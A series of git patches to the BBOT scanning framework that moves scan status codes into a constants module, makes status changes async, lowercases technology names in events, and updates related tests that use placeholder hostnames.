"http://evilcorp.com/test", + }, + "VULNERABILITY", + dummy=True, + ) + assert test_vuln.host == "evilcorp.com" + assert test_vuln.port == 80 + assert test_vuln.netloc == "evilcorp.com:80" + # test tagging ip_event_1 = scan.make_event("8.8.8.8", dummy=True) assert "private-ip" not in ip_event_1.tags From 355ca15c905a43607775185181e20dd86aa996a4 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 1 May 2025 17:04:20 -0400 Subject: [PATCH 119/912] fix finding bug --- bbot/core/event/base.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 44b74c5b9e..9f9fa32e0b 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1089,7 +1089,7 @@ def __init__(self, *args, **kwargs): # inherit closest host+port if parent.host: self.data["host"] = str(parent.host) - self.port = parent.port + self._port = parent.port # we do this to refresh the hash self.data = self.data break From 382c8b34113bb17222c4e8816b14ecfcc177e143 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 2 May 2025 16:47:49 -0400 Subject: [PATCH 120/912] lowercase technology --- bbot/core/event/base.py | 4 ++++ bbot/test/test_step_1/test_events.py | 8 ++++++++ 2 files changed, 12 insertions(+) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 9f9fa32e0b..8d28493a78 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1604,6 +1604,10 @@ class _data_validator(BaseModel): _validate_url = field_validator("url")(validators.validate_url) _validate_host = field_validator("host")(validators.validate_host) + def _sanitize_data(self, data): + data["technology"] = data["technology"].lower() + return data + def _data_id(self): # dedupe by host+port+tech tech = self.data.get("technology", "") diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index e1e59b644b..f602af415c 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -391,6 +391,14 @@ async def test_events(events, helpers): assert test_vuln.port == 80 assert test_vuln.netloc == "evilcorp.com:80" + # technology should be lowercased + tech_event = scan.make_event( + {"host": "evilcorp.com", "technology": "HTTP", "url": "http://evilcorp.com/test"}, + "TECHNOLOGY", + dummy=True, + ) + assert tech_event.data["technology"] == "http" + # test tagging ip_event_1 = scan.make_event("8.8.8.8", dummy=True) assert "private-ip" not in ip_event_1.tags From 9418e0566c1287e545287dd272d5517de09716fa Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 5 May 2025 16:30:22 -0400 Subject: [PATCH 121/912] bbot constants --- bbot/constants.py | 31 +++++++++++++++++++++++++++++++ bbot/scanner/scanner.py | 18 ++++-------------- 2 files changed, 35 insertions(+), 14 deletions(-) create mode 100644 bbot/constants.py diff --git a/bbot/constants.py b/bbot/constants.py new file mode 100644 index 0000000000..a5ce0bde90 --- /dev/null +++ b/bbot/constants.py @@ -0,0 +1,31 @@ + + +SCAN_STATUSES = { + "NOT_STARTED": 0, + "STARTING": 1, + "RUNNING": 2, + "FINISHING": 3, + "ABORTING": 5, + "ABORTED": 6, + "FAILED": 7, + "FINISHED": 8, +} + +SCAN_STATUS_CODES = {v: k for k, v in SCAN_STATUSES.items()} + + +def get_scan_status_code(status): + """ + Convert a scan status string to a numeric status code + """ + try: + if isinstance(status, int): + if not status in SCAN_STATUS_CODES: + raise ValueError(f"Invalid scan status code: {status}") + return status + elif isinstance(status, str): + return SCAN_STATUSES[status] + else: + raise ValueError(f"Invalid scan status: {status} (must be int or str)") + except KeyError: + raise ValueError(f"Invalid scan status: {status}") diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index e4edddacf4..36e310c96b 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -12,6 +12,7 @@ from bbot import __version__ from bbot.core.event import make_event +from bbot.constants import SCAN_STATUSES from .manager import ScanIngress, ScanEgress from bbot.core.helpers.misc import sha1, rand_string from bbot.core.helpers.names_generator import random_name @@ -84,17 +85,6 @@ class Scanner: - Setting a status will trigger the `on_status` event in the dispatcher. """ - _status_codes = { - "NOT_STARTED": 0, - "STARTING": 1, - "RUNNING": 2, - "FINISHING": 3, - "ABORTING": 5, - "ABORTED": 6, - "FAILED": 7, - "FINISHED": 8, - } - def __init__( self, *targets, @@ -977,16 +967,16 @@ def status(self, status): """ status = str(status).strip().upper() self.debug(f"Setting scan status from {self.status} to {status}") - if status in self._status_codes: + if status in SCAN_STATUSES: # if the scan has already been marked as ABORTED/FAILED/FINISHED, don't allow setting status again - if self._status_code >= self._status_codes["ABORTED"]: + if self._status_code >= SCAN_STATUSES["ABORTED"]: self.debug(f'Attempt to set invalid status "{status}" on already finished scan') return if status == self._status: self.debug(f'Scan status is already "{status}"') return self._status = status - self._status_code = self._status_codes[status] + self._status_code = SCAN_STATUSES[status] # clean out old dispatcher tasks for task in list(self.dispatcher_tasks): if task.done(): From ffdf28dd1accb8d9c68ece399352e1c18498afcc Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 5 May 2025 16:30:31 -0400 Subject: [PATCH 122/912] ruffed --- bbot/constants.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/bbot/constants.py b/bbot/constants.py index a5ce0bde90..9da7fb839a 100644 --- a/bbot/constants.py +++ b/bbot/constants.py @@ -1,5 +1,3 @@ - - SCAN_STATUSES = { "NOT_STARTED": 0, "STARTING": 1, From 4e0f0f9faa4f9692e2a94f735967883c2336819b Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 5 May 2025 16:41:48 -0400 Subject: [PATCH 123/912] ruffed --- bbot/constants.py | 33 ++++++++++++++++++++++++++++++++- 1 file changed, 32 insertions(+), 1 deletion(-) diff --git a/bbot/constants.py b/bbot/constants.py index 9da7fb839a..587b43752d 100644 --- a/bbot/constants.py +++ b/bbot/constants.py @@ -12,13 +12,44 @@ SCAN_STATUS_CODES = {v: k for k, v in SCAN_STATUSES.items()} +def is_valid_scan_status(status): + """ + Check if a status is a valid scan status + """ + return status in SCAN_STATUSES + + +def is_valid_scan_status_code(status): + """ + Check if a status is a valid scan status code + """ + return status in SCAN_STATUS_CODES + + +def get_scan_status_name(status): + """ + Convert a numeric scan status code to a string status name + """ + try: + if isinstance(status, str): + if not is_valid_scan_status(status): + raise ValueError(f"Invalid scan status: {status}") + return SCAN_STATUS_CODES[status] + elif isinstance(status, int): + return SCAN_STATUSES[status] + else: + raise ValueError(f"Invalid scan status: {status} (must be int or str)") + except KeyError: + raise ValueError(f"Invalid scan status: {status}") + + def get_scan_status_code(status): """ Convert a scan status string to a numeric status code """ try: if isinstance(status, int): - if not status in SCAN_STATUS_CODES: + if not is_valid_scan_status_code(status): raise ValueError(f"Invalid scan status code: {status}") return status elif isinstance(status, str): From 25c20ff2bd057c6f187b80c950e1d8d3e02c4636 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 5 May 2025 16:48:10 -0400 Subject: [PATCH 124/912] include status code --- bbot/scanner/scanner.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 36e310c96b..2f126b9957 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -1019,6 +1019,7 @@ def root_event(self): if self._root_event is None: self._root_event = self.make_root_event(f"Scan {self.name} started at {self.start_time}") self._root_event.data["status"] = self.status + self._root_event.data["status_code"] = self._status_code return self._root_event def finish_event(self, context=None, status=None): From 1ca1f55d508f454972476e04179ea89bb698a335 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 5 May 2025 17:03:22 -0400 Subject: [PATCH 125/912] fix bug --- bbot/constants.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/constants.py b/bbot/constants.py index 587b43752d..aefc534edc 100644 --- a/bbot/constants.py +++ b/bbot/constants.py @@ -34,9 +34,9 @@ def get_scan_status_name(status): if isinstance(status, str): if not is_valid_scan_status(status): raise ValueError(f"Invalid scan status: {status}") - return SCAN_STATUS_CODES[status] + return status elif isinstance(status, int): - return SCAN_STATUSES[status] + return SCAN_STATUS_CODES[status] else: raise ValueError(f"Invalid scan status: {status} (must be int or str)") except KeyError: From 1b08de12d0c3e43c90600a2d57d4f4080a6f4e2f Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 5 May 2025 17:56:11 -0400 Subject: [PATCH 126/912] scan status rework --- bbot/constants.py | 28 +++++++++---- bbot/scanner/scanner.py | 91 +++++++++++++++++++++++------------------ 2 files changed, 72 insertions(+), 47 deletions(-) diff --git a/bbot/constants.py b/bbot/constants.py index aefc534edc..e3de41db1f 100644 --- a/bbot/constants.py +++ b/bbot/constants.py @@ -1,12 +1,24 @@ +SCAN_STATUS_QUEUED = 0 +SCAN_STATUS_NOT_STARTED = 1 +SCAN_STATUS_STARTING = 2 +SCAN_STATUS_RUNNING = 3 +SCAN_STATUS_FINISHING = 4 +SCAN_STATUS_ABORTING = 5 +SCAN_STATUS_ABORTED = 6 +SCAN_STATUS_FAILED = 7 +SCAN_STATUS_FINISHED = 8 + + SCAN_STATUSES = { - "NOT_STARTED": 0, - "STARTING": 1, - "RUNNING": 2, - "FINISHING": 3, - "ABORTING": 5, - "ABORTED": 6, - "FAILED": 7, - "FINISHED": 8, + "QUEUED": SCAN_STATUS_QUEUED, + "NOT_STARTED": SCAN_STATUS_NOT_STARTED, + "STARTING": SCAN_STATUS_STARTING, + "RUNNING": SCAN_STATUS_RUNNING, + "FINISHING": SCAN_STATUS_FINISHING, + "ABORTING": SCAN_STATUS_ABORTING, + "ABORTED": SCAN_STATUS_ABORTED, + "FAILED": SCAN_STATUS_FAILED, + "FINISHED": SCAN_STATUS_FINISHED, } SCAN_STATUS_CODES = {v: k for k, v in SCAN_STATUSES.items()} diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 2f126b9957..ff50302f94 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -12,7 +12,6 @@ from bbot import __version__ from bbot.core.event import make_event -from bbot.constants import SCAN_STATUSES from .manager import ScanIngress, ScanEgress from bbot.core.helpers.misc import sha1, rand_string from bbot.core.helpers.names_generator import random_name @@ -20,6 +19,18 @@ from bbot.core.multiprocess import SHARED_INTERPRETER_STATE from bbot.core.helpers.async_helpers import async_to_sync_gen from bbot.errors import BBOTError, ScanError, ValidationError +from bbot.constants import ( + get_scan_status_code, + get_scan_status_name, + SCAN_STATUS_NOT_STARTED, + SCAN_STATUS_STARTING, + SCAN_STATUS_RUNNING, + SCAN_STATUS_FINISHING, + SCAN_STATUS_ABORTING, + SCAN_STATUS_ABORTED, + SCAN_STATUS_FAILED, + SCAN_STATUS_FINISHED, +) log = logging.getLogger("bbot.scanner") @@ -165,8 +176,7 @@ def __init__( else: self.home = self.preset.bbot_home / "scans" / self.name - self._status = "NOT_STARTED" - self._status_code = 0 + self._status_code = SCAN_STATUS_NOT_STARTED self.modules = OrderedDict({}) self._modules_loaded = False @@ -344,18 +354,18 @@ async def async_start(self): self._status_ticker(self.status_frequency), name=f"{self.name}._status_ticker()" ) - self.status = "STARTING" + self.status = SCAN_STATUS_STARTING if not self.modules: self.error("No modules loaded") - self.status = "FAILED" + self.status = SCAN_STATUS_FAILED return else: self.hugesuccess(f"Starting scan {self.name}") await self.dispatcher.on_start(self) - self.status = "RUNNING" + self.status = SCAN_STATUS_RUNNING self._start_modules() self.verbose(f"{len(self.modules):,} modules started") @@ -438,12 +448,14 @@ async def _mark_finished(self): self._marked_finished = True - if self.status == "ABORTING": - status = "ABORTED" + if self._status_code == SCAN_STATUS_ABORTING: + status_code = SCAN_STATUS_ABORTED elif not self._success: - status = "FAILED" + status_code = SCAN_STATUS_FAILED else: - status = "FINISHED" + status_code = SCAN_STATUS_FINISHED + + status = get_scan_status_name(status_code) self.end_time = datetime.now(ZoneInfo("UTC")) self.duration = self.end_time - self.start_time @@ -940,19 +952,19 @@ def stopping(self): @property def stopped(self): - return self._status_code > 5 + return self._status_code >= SCAN_STATUS_ABORTED @property def running(self): - return 0 < self._status_code < 4 + return SCAN_STATUS_STARTING <= self._status_code <= SCAN_STATUS_FINISHING @property def aborting(self): - return 5 <= self._status_code <= 6 + return SCAN_STATUS_ABORTING <= self._status_code <= SCAN_STATUS_ABORTED @property def status(self): - return self._status + return get_scan_status_name(self._status_code) @property def omitted_event_types(self): @@ -965,30 +977,28 @@ def status(self, status): """ Block setting after status has been aborted """ - status = str(status).strip().upper() + try: + status_code = get_scan_status_code(status) + status = get_scan_status_name(status_code) + except ValueError: + self.warning(f'Attempt to set invalid status "{status}" on scan') + self.debug(f"Setting scan status from {self.status} to {status}") - if status in SCAN_STATUSES: - # if the scan has already been marked as ABORTED/FAILED/FINISHED, don't allow setting status again - if self._status_code >= SCAN_STATUSES["ABORTED"]: - self.debug(f'Attempt to set invalid status "{status}" on already finished scan') - return - if status == self._status: - self.debug(f'Scan status is already "{status}"') - return - self._status = status - self._status_code = SCAN_STATUSES[status] - # clean out old dispatcher tasks - for task in list(self.dispatcher_tasks): - if task.done(): - self.dispatcher_tasks.remove(task) - self.dispatcher_tasks.append( - asyncio.create_task( - self.dispatcher.catch(self.dispatcher.on_status, self._status, self.id), - name=f"{self.name}.dispatcher.on_status({status})", - ) + # if the scan has already been marked as ABORTED/FAILED/FINISHED, don't allow setting status again + if status_code < self._status_code: + self.debug(f'Attempt to set invalid status "{status}" on scan with status "{self.status}"') + return + self._status_code = status_code + # clean out old dispatcher tasks + for task in list(self.dispatcher_tasks): + if task.done(): + self.dispatcher_tasks.remove(task) + self.dispatcher_tasks.append( + asyncio.create_task( + self.dispatcher.catch(self.dispatcher.on_status, self.status, self.id), + name=f"{self.name}.dispatcher.on_status({status})", ) - else: - self.warning(f'Attempt to set invalid status "{status}" on scan') + ) def make_event(self, *args, **kwargs): kwargs["scan"] = self @@ -1022,12 +1032,15 @@ def root_event(self): self._root_event.data["status_code"] = self._status_code return self._root_event - def finish_event(self, context=None, status=None): + def finish_event(self, context=None, status_code=None): if self._finish_event is None: - if context is None or status is None: - raise ValueError("Must specify context and status") + if context is None or status_code is None: + raise ValueError("Must specify context and status_code") self._finish_event = self.make_root_event(context) + status_code = get_scan_status_code(status_code) + status = get_scan_status_name(status_code) self._finish_event.data["status"] = status + self._finish_event.data["status_code"] = status_code return self._finish_event def make_root_event(self, context): From ea8b6fd0d33c0bf213db7ea020b0bbd1b1eaf80f Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 5 May 2025 18:01:44 -0400 Subject: [PATCH 127/912] status code --- bbot/scanner/scanner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index ff50302f94..3dc51ac901 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -985,7 +985,7 @@ def status(self, status): self.debug(f"Setting scan status from {self.status} to {status}") # if the scan has already been marked as ABORTED/FAILED/FINISHED, don't allow setting status again - if status_code < self._status_code: + if status_code <= self._status_code: self.debug(f'Attempt to set invalid status "{status}" on scan with status "{self.status}"') return self._status_code = status_code From 72ae23f9297af36df9d86490c654c8efa79d42a8 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 6 May 2025 02:04:27 -0400 Subject: [PATCH 128/912] cancellation --- bbot/core/config/logger.py | 6 +++++- bbot/modules/base.py | 4 ++-- bbot/scanner/dispatcher.py | 13 +++++++------ bbot/scanner/scanner.py | 36 ++++++++++++++---------------------- 4 files changed, 28 insertions(+), 31 deletions(-) diff --git a/bbot/core/config/logger.py b/bbot/core/config/logger.py index c5773a3a0c..4f22b5157e 100644 --- a/bbot/core/config/logger.py +++ b/bbot/core/config/logger.py @@ -2,6 +2,7 @@ import sys import atexit import logging +import threading from copy import copy import multiprocessing import logging.handlers @@ -93,7 +94,10 @@ def cleanup_logging(self): # Stop queue listener with suppress(Exception): - self.listener.stop() + stop_thread = threading.Thread(target=self.listener.stop) + stop_thread.daemon = True + stop_thread.start() + stop_thread.join() def setup_queue_handler(self, logging_queue=None, log_level=logging.DEBUG): if logging_queue is None: diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 0e68c6b254..0062ba9da9 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -708,7 +708,7 @@ async def _worker(self): self.trace(f"RuntimeError in module {self.name}: {e}") except BaseException as e: if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)): - self.scan.stop() + await self.scan.async_stop() else: self.error(f"Critical failure in module {self.name}: {e}") self.error(traceback.format_exc()) @@ -1730,7 +1730,7 @@ async def _worker(self): self.trace(f"RuntimeError in intercept module {self.name}: {e}") except BaseException as e: if self.helpers.in_exception_chain(e, (KeyboardInterrupt,)): - self.scan.stop() + await self.scan.async_stop() else: self.critical(f"Critical failure in intercept module {self.name}: {e}") self.critical(traceback.format_exc()) diff --git a/bbot/scanner/dispatcher.py b/bbot/scanner/dispatcher.py index a9c56c2b72..efd3270903 100644 --- a/bbot/scanner/dispatcher.py +++ b/bbot/scanner/dispatcher.py @@ -1,7 +1,6 @@ import logging import traceback - -log = logging.getLogger("bbot.scanner.dispatcher") +import contextlib class Dispatcher: @@ -11,6 +10,7 @@ class Dispatcher: def set_scan(self, scan): self.scan = scan + self.log = logging.getLogger("bbot.scanner.dispatcher") async def on_start(self, scan): return @@ -24,9 +24,10 @@ async def on_status(self, status, scan_id): """ self.scan.debug(f"Setting scan status to {status}") - async def catch(self, callback, *args, **kwargs): + @contextlib.contextmanager + def catch(self): try: - return await callback(*args, **kwargs) + yield except Exception as e: - log.error(f"Error in {callback.__qualname__}(): {e}") - log.trace(traceback.format_exc()) + self.log.error(f"Error in dispatcher: {e}") + self.log.trace(traceback.format_exc()) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 3dc51ac901..6556f4e17d 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -335,9 +335,9 @@ async def async_start_without_generator(self): pass async def async_start(self): - """ """ self.start_time = datetime.now(ZoneInfo("UTC")) self.root_event.data["started_at"] = self.start_time.timestamp() + await self._set_status(SCAN_STATUS_STARTING) try: await self._prep() @@ -354,18 +354,16 @@ async def async_start(self): self._status_ticker(self.status_frequency), name=f"{self.name}._status_ticker()" ) - self.status = SCAN_STATUS_STARTING - if not self.modules: self.error("No modules loaded") - self.status = SCAN_STATUS_FAILED + await self._set_status(SCAN_STATUS_FAILED) return else: self.hugesuccess(f"Starting scan {self.name}") await self.dispatcher.on_start(self) - self.status = SCAN_STATUS_RUNNING + await self._set_status(SCAN_STATUS_RUNNING) self._start_modules() self.verbose(f"{len(self.modules):,} modules started") @@ -403,7 +401,7 @@ async def async_start(self): except BaseException as e: if self.helpers.in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)): - self.stop() + await self.async_stop() self._success = True else: try: @@ -480,7 +478,7 @@ async def _mark_finished(self): break await asyncio.sleep(0.05) - self.status = status + await self._set_status(status) return scan_finish_event def _start_modules(self): @@ -754,7 +752,7 @@ def modules_status(self, _log=False, detailed=False): return status - def stop(self): + async def async_stop(self): """Stops the in-progress scan and performs necessary cleanup. This method sets the scan's status to "ABORTING," cancels any pending tasks, and drains event queues. It also kills child processes spawned during the scan. @@ -764,7 +762,7 @@ def stop(self): """ if not self._stopping: self._stopping = True - self.status = "ABORTING" + await self._set_status(SCAN_STATUS_ABORTING) self.hugewarning("Aborting scan") self.trace() self._cancel_tasks() @@ -773,7 +771,10 @@ def stop(self): self._drain_queues() self.helpers.kill_children() self.debug("Finished aborting scan") - self.status = "ABORTED" + await self._set_status(SCAN_STATUS_ABORTED) + + def stop(self): + asyncio.create_task(self.async_stop()) async def finish(self): """Finalizes the scan by invoking the `finished()` method on all active modules if new activity is detected. @@ -972,8 +973,7 @@ def omitted_event_types(self): self._omitted_event_types = self.config.get("omit_event_types", []) return self._omitted_event_types - @status.setter - def status(self, status): + async def _set_status(self, status): """ Block setting after status has been aborted """ @@ -989,16 +989,8 @@ def status(self, status): self.debug(f'Attempt to set invalid status "{status}" on scan with status "{self.status}"') return self._status_code = status_code - # clean out old dispatcher tasks - for task in list(self.dispatcher_tasks): - if task.done(): - self.dispatcher_tasks.remove(task) - self.dispatcher_tasks.append( - asyncio.create_task( - self.dispatcher.catch(self.dispatcher.on_status, self.status, self.id), - name=f"{self.name}.dispatcher.on_status({status})", - ) - ) + with self.dispatcher.catch(): + await self.dispatcher.on_status(self.status, self.id) def make_event(self, *args, **kwargs): kwargs["scan"] = self From f67b97f9824d4ee39adee614ef3ae93b02a45448 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 6 May 2025 02:09:36 -0400 Subject: [PATCH 129/912] things --- bbot/scanner/scanner.py | 2 +- bbot/test/test_step_1/test_modules_basic.py | 6 +++--- bbot/test/test_step_1/test_web.py | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 6556f4e17d..7ec4529e1d 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -791,7 +791,7 @@ async def finish(self): # if new events were generated since last time we were here if self._new_activity: self._new_activity = False - self.status = "FINISHING" + await self._set_status(SCAN_STATUS_FINISHING) # Trigger .finished() on every module and start over log.info("Finishing scan") for module in self.modules.values(): diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 27f4983bce..9e2e21e12e 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -242,7 +242,7 @@ class mod_domain_only(BaseModule): scan.modules["mod_host_only"] = mod_host_only(scan) scan.modules["mod_hostport_only"] = mod_hostport_only(scan) scan.modules["mod_domain_only"] = mod_domain_only(scan) - scan.status = "RUNNING" + await scan._set_status("RUNNING") url_1 = scan.make_event("http://evilcorp.com/1", event_type="URL", parent=scan.root_event, tags=["status-200"]) url_2 = scan.make_event("http://evilcorp.com/2", event_type="URL", parent=scan.root_event, tags=["status-200"]) @@ -310,7 +310,7 @@ async def test_modules_basic_perdomainonly(bbot_scanner, monkeypatch): await per_domain_scan.load_modules() await per_domain_scan.setup_modules() - per_domain_scan.status = "RUNNING" + await per_domain_scan._set_status("RUNNING") # ensure that multiple events to the same "host" (schema + host) are blocked and check the per host tracker @@ -456,7 +456,7 @@ async def test_module_loading(bbot_scanner): force_start=True, ) await scan2.load_modules() - scan2.status = "RUNNING" + await scan2._set_status("RUNNING") # attributes, descriptions, etc. for module_name, module in sorted(scan2.modules.items()): diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 96079b5f04..235d498e2f 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -289,7 +289,7 @@ async def test_web_interactsh(bbot_scanner, bbot_httpserver): async_correct_url = False scan1 = bbot_scanner("8.8.8.8") - scan1.status = "RUNNING" + await scan1._set_status("RUNNING") interactsh_client = scan1.helpers.interactsh(poll_interval=3) interactsh_client2 = scan1.helpers.interactsh(poll_interval=3) From f34d62b012d5dfbe1a3d4aea4c2440e9c07f5d60 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 6 May 2025 03:56:11 -0400 Subject: [PATCH 130/912] tech port --- bbot/core/event/base.py | 5 ++++- bbot/test/test_step_1/test_events.py | 1 + 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 8d28493a78..27e9ef5a86 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -403,6 +403,8 @@ def host_filterable(self): @property def port(self): self.host + if self._port: + return self._port if getattr(self, "parsed_url", None): if self.parsed_url.port is not None: return self.parsed_url.port @@ -410,7 +412,6 @@ def port(self): return 443 elif self.parsed_url.scheme == "http": return 80 - return self._port @property def netloc(self): @@ -1605,6 +1606,7 @@ class _data_validator(BaseModel): _validate_host = field_validator("host")(validators.validate_host) def _sanitize_data(self, data): + data = super()._sanitize_data(data) data["technology"] = data["technology"].lower() return data @@ -1737,6 +1739,7 @@ class MOBILE_APP(DictEvent): _always_emit = True def _sanitize_data(self, data): + data = super()._sanitize_data(data) if isinstance(data, str): data = {"url": data} if "url" not in data: diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index f602af415c..354167dd77 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -398,6 +398,7 @@ async def test_events(events, helpers): dummy=True, ) assert tech_event.data["technology"] == "http" + assert tech_event.port == 80 # test tagging ip_event_1 = scan.make_event("8.8.8.8", dummy=True) From 12bda753b81b7888336f79b59d49a4389ad6dcf4 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 6 May 2025 12:01:51 -0400 Subject: [PATCH 131/912] bbot things --- bbot/constants.py | 8 ++++---- bbot/scanner/scanner.py | 1 + 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/bbot/constants.py b/bbot/constants.py index e3de41db1f..364aead2ff 100644 --- a/bbot/constants.py +++ b/bbot/constants.py @@ -4,9 +4,9 @@ SCAN_STATUS_RUNNING = 3 SCAN_STATUS_FINISHING = 4 SCAN_STATUS_ABORTING = 5 -SCAN_STATUS_ABORTED = 6 +SCAN_STATUS_FINISHED = 6 SCAN_STATUS_FAILED = 7 -SCAN_STATUS_FINISHED = 8 +SCAN_STATUS_ABORTED = 8 SCAN_STATUSES = { @@ -16,9 +16,9 @@ "RUNNING": SCAN_STATUS_RUNNING, "FINISHING": SCAN_STATUS_FINISHING, "ABORTING": SCAN_STATUS_ABORTING, - "ABORTED": SCAN_STATUS_ABORTED, - "FAILED": SCAN_STATUS_FAILED, "FINISHED": SCAN_STATUS_FINISHED, + "FAILED": SCAN_STATUS_FAILED, + "ABORTED": SCAN_STATUS_ABORTED, } SCAN_STATUS_CODES = {v: k for k, v in SCAN_STATUSES.items()} diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 7ec4529e1d..87a42e56cb 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -988,6 +988,7 @@ async def _set_status(self, status): if status_code <= self._status_code: self.debug(f'Attempt to set invalid status "{status}" on scan with status "{self.status}"') return + self._status_code = status_code with self.dispatcher.catch(): await self.dispatcher.on_status(self.status, self.id) From 9cdb3c7534c00a939a448d8197676c23ea2da626 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 6 May 2025 16:09:44 -0400 Subject: [PATCH 132/912] stringify output dir --- bbot/scanner/preset/preset.py | 2 +- bbot/scanner/scanner.py | 5 +---- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 91f59d790c..341d808f8f 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -826,7 +826,7 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False) if self.scan_name: preset_dict["scan_name"] = self.scan_name if self.scan_name and self.output_dir is not None: - preset_dict["output_dir"] = self.output_dir + preset_dict["output_dir"] = str(self.output_dir) # conditions if self.conditions: diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 87a42e56cb..cbbca21485 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -974,9 +974,6 @@ def omitted_event_types(self): return self._omitted_event_types async def _set_status(self, status): - """ - Block setting after status has been aborted - """ try: status_code = get_scan_status_code(status) status = get_scan_status_name(status_code) @@ -984,7 +981,7 @@ async def _set_status(self, status): self.warning(f'Attempt to set invalid status "{status}" on scan') self.debug(f"Setting scan status from {self.status} to {status}") - # if the scan has already been marked as ABORTED/FAILED/FINISHED, don't allow setting status again + # if the status isn't progressing forward, skip setting it if status_code <= self._status_code: self.debug(f'Attempt to set invalid status "{status}" on scan with status "{self.status}"') return From 11c684fb4975f78308b7e96d9281ff99fc206741 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 8 May 2025 10:45:31 -0400 Subject: [PATCH 133/912] fix tests --- bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py | 4 ++-- bbot/test/test_step_2/module_tests/test_module_gitlab.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py index 8accc7c300..6d6fbeb1c6 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py +++ b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py @@ -92,7 +92,7 @@ def check(self, module_test, events): dnn_installwizard_privesc_detection = False for e in events: - if e.type == "TECHNOLOGY" and "DotNetNuke" in e.data["technology"]: + if e.type == "TECHNOLOGY" and "dotnetnuke" in e.data["technology"]: dnn_technology_detection = True if ( @@ -165,7 +165,7 @@ def check(self, module_test, events): dnn_dnnimagehandler_blindssrf = False for e in events: - if e.type == "TECHNOLOGY" and "DotNetNuke" in e.data["technology"]: + if e.type == "TECHNOLOGY" and "dotnetnuke" in e.data["technology"]: dnn_technology_detection = True if e.type == "VULNERABILITY" and "DotNetNuke Blind-SSRF (CVE 2017-0929)" in e.data["description"]: diff --git a/bbot/test/test_step_2/module_tests/test_module_gitlab.py b/bbot/test/test_step_2/module_tests/test_module_gitlab.py index 6d593adf65..4396ca36ae 100644 --- a/bbot/test/test_step_2/module_tests/test_module_gitlab.py +++ b/bbot/test/test_step_2/module_tests/test_module_gitlab.py @@ -167,7 +167,7 @@ def check(self, module_test, events): e for e in events if e.type == "TECHNOLOGY" - and e.data["technology"] == "GitLab" + and e.data["technology"] == "gitlab" and e.data["url"] == "http://127.0.0.1:8888/" 